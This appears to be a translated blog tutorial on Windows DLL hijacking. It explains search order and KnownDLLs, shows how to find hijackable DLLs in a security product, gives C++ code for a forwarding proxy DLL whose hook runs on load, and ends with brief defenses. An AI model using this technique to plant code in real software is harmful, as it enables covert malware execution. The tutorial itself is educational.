Introduction to 0x01 dll
In Windows system, in order to save memory and realize code reuse, Microsoft has implemented a way of sharing function library in Windows operating system. This is the DLL (Dynamic Link Library), that is, the dynamic link library, which contains code and data that can be used by multiple programs at the same time.
Each DLL has an entry function (DLLMain), and the system will call DLLMain in a specific environment. The entry function of the dll will be called when the following events occur:
- 1. The process loads the DLL.
- 2. The process unloads the DLL.
- 3. The DLL creates a new thread after being loaded.
- 4. A thread is terminated after the DLL is loaded. In addition, each DLL file contains an exported function table, also called an output table (existing in the .edata section of the PE). Using some PE file viewing tools such as LoadPE, you can view the symbolic name of the exported function, that is, the function name and the identification number of the function in the exported function table.
There are two ways to link the application import function and the export function in the DLL file: implicit linking (load-time dynamiclinking) is also called static calling and explicit linking (run-time dynamiclinking) is also called dynamic calling. The implicit link method is generally used for development and debugging, and the explicit link method is our common use of LoadLibary or LoadLibraryEx function (note: there are many functions related to module loading) to load the DLL to call the corresponding export function. When calling LoadLibrary or LoadLibraryEx function, you can use the relative path of the DLL or the absolute path.
dll path search rules
But in many cases, developers use relative paths to load DLLs. Then, in this case, the Windows system will search some directories in a specific order to determine the full path of the DLL. For more details about the search order of dynamic link libraries, please refer to MSDN. According to the MSDN document, when the LoadLibrary function is called using the relative path of the DLL, the system will search for the DLL file that needs to be called from the following locations in turn.
- 1. The directory where the program is located.
- 2. The current directory where the DLL was loaded.
- 3. The system directory is the SYSTEM32 directory.
- 4. The 16-bit system directory is the SYSTEM directory.
- 5. Windows directory.
- 6. The directories listed in the PATH environment variable, in order to prevent the occurrence of DLL hijacking vulnerabilities, Microsoft added a registry attribute of SafeDllSearchMode after XP SP2. The registry path is as follows:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
When the value of SafeDllSearchMode is set to 1, that is, when the safe DLL search mode is turned on, the directory sequence for finding DLLs is as follows:
- 1. The directory where the program is located
- 2. The system directory is the SYSTEM32 directory.
- 3. The 16-bit system directory is the SYSTEM directory.
- 4. Windows directory.
- 5. The current directory where the DLL was loaded.
- 6. The directories listed in the PATH environment variable.
Above win7
In order to further prevent the DLL of the system from being hijacked, Microsoft writes some system DLLs that are easily hijacked into a registry key, then all DLL files under this item will be prohibited from being called from the directory where the EXE itself is located. It can only be called from the system directory, that is, the SYSTEM32 directory. The registry path is as follows:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Some hijacking DLLs that were frequently used in the past have been added to the KnownDLLs registry key, which means that the use of such as usp10.dll, lpk.dll, ws2_32.dll to carry out DLL hijacking has become invalid.
So in win7 and above, when SafeDllSearchMode is enabled, the search order is as follows
- 1. The directory where the application is located.
- 2. System directory SYSTEM32 directory.
- 3. The 16-bit system catalog. There is no function to get the directory path, but it will be searched.
- 4. Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- 5. Current directory
- 6. All directories in the environment variable PATH. It should be noted that the application path specified by the App Paths registry key is not included here.
The Windows operating system uses the mechanism of "DLL path search directory order" and " KnownDLLs registry key " to determine the path of the DLL to be called by the application. After that, the application loads the DLL into its own memory space and executes the corresponding Function function.
However, Microsoft inexplicably allows users to add the " ExcludeFromKnownDlls " registry key to the above registry path to exclude some DLLs protected by the "KnownDLLs registry key" mechanism. In other words, as long as ExcludeFromKnownDlls " registry key, you can hijack the DLL, but you need to restart your computer after the modification to take effect.
In the entire process of loading the DLL described above, the DLL hijacking vulnerability occurs when the system searches for the DLL during the installation "DLL path search directory order".
Regardless of whether the secure DLL search mode is turned on, the system will always first load the DLL from the directory where the application (program installation directory) is located. If it is not found, it will search in the order above. Then, by using this feature, an attacker can forge a dll with the same name. As long as the dll is not in the KnownDLLs registry key, we can perform a hijacking test on the dll.
Key value
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10 is as follows
0x02 looking for hijackable dll
There are many software to view the dll loaded by the exe
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
Tinder Sword
Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
When you use it, you can set the Filter and fill in the filter conditions, which can help eliminate a lot of useless information
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
Similar to the picture below, the dll is in the registry key of KnownDLLs
0x03 hijacking test
Use D shield for hijacking experiment here
Still use Process Explorer first
You can compare these dll files with the dll in the KnownDLLs registry key to find out the dlls that are not in the scope for hijacking testing
Of course, there are also ways to be lazy, batch automated testing
Here ctrl+s can directly save the obtained information text, and then extract the path information through regularization, and then put it in the batch verification tool
If it exists, it will output the result directly
If it doesn't exist, no will be displayed
The above shows that there are two dlls that may be hijacked
Here directly put a dll of the bomb calculator into WINSTA.dll and put it in the D-Shield directory, and then run the D-Shield, and it pops up successfully.
0x04 advanced test
But this method only hijacks the function that loads the computer. The original dll has many other exported functions, so direct hijacking may cause the program to fail to start normally.
Therefore, a "fake" DLL with the same name and the same exported function table is generally made, and each exported function is redirected to the "true" DLL. Put this "fake" DLL in the directory of the program. When the program calls the functions in the DLL, the "fake" DLL will be loaded first. In the "fake" DLL, the attacker has added malicious code. After that, the "fake" DLL will turn the DLL call flow to the "true" DLL, so as not to affect the normal execution of the program.
Here we make a pop-up dll to test,
1. First use VS2019 to create a new DLL project
under the generated dllmain.cpp
Bash
void msg() {
MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);
}
3. Then add the following code to the framework.h file under the header file to compile and export the dll file
Bash
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
Then compile and generate Dll1.dll
Create a new C++ project and fill in the following code
Go
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}
If you want to know the details of dll writing, you can see here
Generate the solution again, then put the previously generated Dll1.dll in the same directory as the generated Meg.exe, and run Meg.exe
Success popup
Here we use the idea of forwarding hijacking dll before to test it
Here I use a script to generate the dll used for hijacking with one click
This is generated by default
Bash
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代码
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_msg = GetAddress("msg");
Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Before compiling and generating a new dll, pay attention to the line of code, change Dll1 to Dll2.dll
Bash
lstrcpy(tzPath, TEXT("Dll2.dll"));
Then add a pop-up window or execute shellcode on this line of code
Go
VOID Hijack() //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
}
Then compile and generate
Then change the Dll1.dll we generated before to Dll2.dll, and put the two Dll and Meg.exe in the same directory
running Meg.exe, there should be two pop-up windows
It can be seen that the pop-up window added by the DLL is hijacked first, and then the original pop-up window of the DLL pops up
0x05 defense
General immunization program:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs] Define a "known DLL name" under this registry key, then any DLL file under this key will be forbidden to be called from the EXE's own directory, but only from the system directory, that is, the system32 directory transfer. Based on this, a simple DLL hijacking immune device can be written
Or you can detect MD5 and size when loading dll to defend.
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。